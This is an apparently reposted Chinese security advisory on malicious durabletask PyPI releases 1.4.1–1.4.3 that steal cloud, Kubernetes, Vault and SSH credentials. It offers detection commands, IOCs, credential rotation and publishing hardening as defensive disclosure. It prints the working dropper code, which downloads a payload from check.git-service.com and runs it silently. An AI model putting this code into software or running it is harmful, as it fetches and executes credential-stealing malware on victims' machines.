MiniShai-Hulud|微软durabletaskSDK被投毒,下载量超百万

admin 2026-05-24 05:21:55 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 微软官方PythonSDKdurabletask在2026年5月20日被连续发布1.4.1至1.4.3三个恶意版本,攻击者通过窃取PyPI发布凭据伪造官方发版。该恶意包在导入时触发,下载第二阶段载荷窃取云平台密钥、KubernetesSecret等高权限凭据,属于MiniShai-Hulud家族持续性供应链攻击。文档提供了版本排查命令、主机痕迹检测方法及凭据轮换等处置建议。 综合评分: 85 文章分类: 供应链安全,漏洞预警,恶意软件,安全运营,云安全


cover_image

Mini Shai-Hulud|微软 durabletask SDK 被投毒,下载量超百万

原创

墨菲安全实验室 墨菲安全实验室

墨菲安全实验室

2026年5月20日 11:13 北京

在小说阅读器读本章

去阅读

2026 年 5 月 20 日 0 点,墨菲安全检测出微软官方durabletask Python SDK 连续出现1.4.11.4.21.4.3三个恶意版本。durabletask是 Azure Durable Functions 相关的 Python 工作流编排 SDK,使用场景集中在云平台、Kubernetes、DevOps 和 AI Infra 这类高权限环境。这次事件中,攻击者拿到真实的 PyPI 发布凭据后,绕过代码仓库发布流程,直接伪造 “微软官方发布” 把恶意包推上了 PyPI。对企业来说,风险点不只是一个包被投毒,而是安装或导入该包的机器可能在几秒内丢失云平台密钥、Kubernetes Secret、Vault Token、GitHub Token、SSH 私钥以及 90 余类本地敏感文件。

一、事件简述

#

这次恶意发布集中发生在北京时间 2026 年 5 月 20 日 0 点 19分、49分和 54 分,35 分钟内连续上传三个版本:

  • [email protected]
  • [email protected]
  • [email protected]

三个版本都指向微软官方仓库microsoft/durabletask-python,但 GitHub 侧没有对应 tag、release,也没有当天触发过正式发布 workflow。最近一个正常 tag 是v1.4.0,最近一版合法 PyPI 发布也是1.4.0,发布时间为 2026 年 4 月 8 日。

也就是说,攻击者没有改微软仓库主线代码,而是直接拿发布能力在 PyPI 上做了 “脱离源码仓库的伪官方发版”。

这类事件比普通投毒更危险的地方在于信任外观几乎没变。包名没变,仓库链接没变,PyPI 页面看起来仍然像是微软自己的 SDK。很多团队会把这种包默认视作 “高可信官方依赖”,不会额外怀疑它在安装或导入阶段就开始执行恶意逻辑。

二、第一阶段:dropper payload

#

核心 dropper 代码有几个关键特点:

  1. 触发时机特殊 :它不是在pip install阶段直接爆发,而是在 导入包时 触发。pip install durabletask阶段只有正常的 PyPI 访问;真正恶意行为

  2. python -c "import durabletask"开始。

  3. 静默执行且持久化 :dropper 把二阶段载荷rope.pyz下载到/tmp/managed.pyz后静默执行,标准输入输出全部重定向到/dev/null,并通过start_new_session=True与父进程脱钩。业务进程退出后,恶意进程仍能继续跑。

  4. 注入点不断扩大 :到1.4.3时注入点已经扩展到 5 个文件,意味着只要应用代码、测试代码、CI 脚本通过不同路径导入durabletask,都更容易踩中载荷。

核心 dropper 代码:

if platform.system() == "Linux":    try:        urllib.request.urlretrieve("https://check.git-service.com/rope.pyz", "/tmp/managed.pyz")        with open(os.devnull, 'w') as f:            subprocess.Popen(["python3", "/tmp/managed.pyz"], stdout=f, stderr=f, stdin=f, start_new_session=True)    except:        pass

三、第二阶段:窃取信息 Payload

#

这是一个模块化的窃密与横向传播框架,它会窃取云与开发环境里的高价值凭据,包括:

  • AWS Secrets Manager、SSM Parameter Store、访问凭据与受管实例信息
  • Azure Key Vault 与本地 Azure 认证缓存
  • GCP Secret Manager 与本地 ADC 凭据
  • Kubernetes 各 context /namespace 下的 Secret
  • HashiCorp Vault KV 数据
  • 1Password、Bitwarden、passgopass等密码管理器内容
  • ~/.ssh/、Docker 配置、.npmrc.pypirc、Terraform state、VPN 配置、Shell 历史、.env文件
  • GitHub CLI 登录态与gh auth token

这部分最值得警惕的是,它瞄准的是 “能直接拿到基础设施密钥” 的机器。一个前端包被投毒,影响常常停留在 npm token、GitHub token 或开发机本地文件;但durabletask这种 SDK 更常出现在工作流编排、云任务、自动化平台里,一旦中招,攻击者拿到的是企业云资源控制面。

二阶段恶意代码

#

四、事件特殊性分析

#

这次durabletask事件和普通 “维护者账号被盗发了个恶意版本” 不是一个

量级,主要有三个原因:

  1. 受害组件权限极高 :durabletask的使用者很多不是普通 Python 入门项目,而是 Azure Durable Functions、云原生工作流、Kubernetes 控制任务、DevOps 自动化流程。这意味着一旦导入恶意包,被盗走的往往不是单个开发者 token,而是云平台级权限。
  2. 暴露发布信任链问题 :这次事件暴露的是 发布信任链 的问题,而不只是仓库代码安全。该项目仍然使用长期有效的PYPI_API_TOKEN,并且同一个 secret 出现在多个 workflow 中,没有启用 PyPI Trusted Publishing,也没有可验证的 provenance。对外看,恶意版本和官方版本在 “来源展示” 上几乎没有区别。
  3. 属于持续性供应链攻击 :这条攻击链已经和 Mini Shai-Hulud 家族基础设施发生重合。t.m-kosche.com出现在 IOC 中,该IOC和近期 TanStack、Mistral、LiteLLM、@antv等投毒事件吻合。这意味着它更像是 2026 年一系列持续性供应链攻击中的新落点,而不是一个孤立的 PyPI 事故。

#

五、处置建议

#

如果企业环境里装过durabletask,第一步不要只想着 “升级版本”,而是先确认有没有接触过恶意版本,以及是否已经执行过导入。

(一)版本排查

执行以下命令检查版本:

```
pip show durabletaskpython - <<'PY'import&nbsp;importlib.metadata&nbsp;as&nbsp;mprint(m.version("durabletask"))PY
如果命中以下任一版本,应按已失陷处理:

* 1.4.1
* 1.4.2
* 1.4.3

### (二)主机痕迹排查
ls&nbsp;-l /tmp/managed.pyz 2>/dev/nullfind ~/.cache -maxdepth 2 \( -name&nbsp;'.sys-update-check'&nbsp;-o -name&nbsp;'.sys-update-check-k8s'&nbsp;\) 2>/dev/nullfind ~/.config/systemd/user /etc/systemd/system -name&nbsp;'pgsql-monitor.service'&nbsp;2>/dev/nullps aux | grep -E&nbsp;'managed.pyz|pgmonitor.py'&nbsp;| grep -v grep
### (三)网络侧 IOC 排查
rg -n&nbsp;'check\.git-service\.com|t\.m-kosche\.com'&nbsp;/var/log&nbsp;2>/dev/null

“`

(四)凭据轮换与审计

如果恶意版本曾在开发机、CI、容器镜像构建节点、Kubernetes Job 或云函数环境中导入过,建议立即轮换:

  • AWS、Azure、GCP 访问凭据
  • Kubernetes ServiceAccount token 与 kubeconfig
  • Vault token 与 AppRole 凭据
  • GitHub token、SSH 私钥、Docker registry 凭据
  • 1Password、Bitwarden 等密码管理器主密码或会话

同时审计:

  • AWS CloudTrail 中异常GetSecretValueGetParameterSendCommand
  • Azure Activity Log 中异常 Secret 读取
  • GCP Audit Log 中异常 Secret Manager 访问
  • Kubernetes 审计日志中异常kubectl exec或 Secret 枚举行为

(五)发布链路优化

对发布链路本身,后续至少要补三件事:

  1. 用 PyPI Trusted Publishing 替代长期有效 API Token。
  2. 收敛发布 secret 的使用范围,不要同一个 token 复用到多条 workflow。
  3. 对正式发布制品启用可验证 provenance,避免 “本地篡改后直接上传” 的情况继续伪装成官方发版。

六、IOC 信息

(一)文件 Hash

| 文件名 | 类型 | SHA256 值 | | — | — | — | | durabletask-1.4.1 | wheel | 7d80b3ef74ad7992b93c31966962612e4e2ceb93e7727cdbd1d2a9af47d44ba8 | | durabletask-1.4.1 | sdist | 3de04fe2a76262743ed089efa7115f4508619838e77d60b9a1aab8b20d2cc8bf | | durabletask-1.4.2 | wheel | aeaf583e20347bf850e2fabdcd6f4982996ba023f8c2cd56bbd299cfd56516f5 | | durabletask-1.4.2 | sdist | 85f54c089d78ebfb101454ec934c767065a342a43c9ee1beac8430cdd3b2086f | | durabletask-1.4.3 | wheel | 877ff2531a63393c4cb9c3c86908b62d9c4fc3db971bc231c48537faae6cb3ec | | durabletask-1.4.3 | sdist | c0b094e46842260936d4b97ce63e4539b99a3eae48b736798c700217c52569dc | | rope.pyz | – | 069ac1dc7f7649b76bc72a11ac700f373804bfd81dab7e561157b703999f44ce |

(二)域名与 URL

  • check.git-service.com
  • t.m-kosche.com
  • https://check.git-service.com/rope.pyz
  • https://check.git-service.com/api/public/version
  • https://check.git-service.com/v1/models

(三)主机痕迹

  • /tmp/managed.pyz
  • pgsql-monitor.service
  • ~/.cache/.sys-update-check
  • ~/.cache/.sys-update-check-k8s
  • /usr/bin/pgmonitor.py
  • ~/.local/bin/pgmonitor.py

企业级漏洞及投毒治理实践扫码领取:

部分典型客户

七大产品矩阵


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:墨菲安全实验室 墨菲安全实验室 墨菲安全实验室《Mini Shai-Hulud|微软 durabletask SDK 被投毒,下载量超百万》

评论:0   参与:  0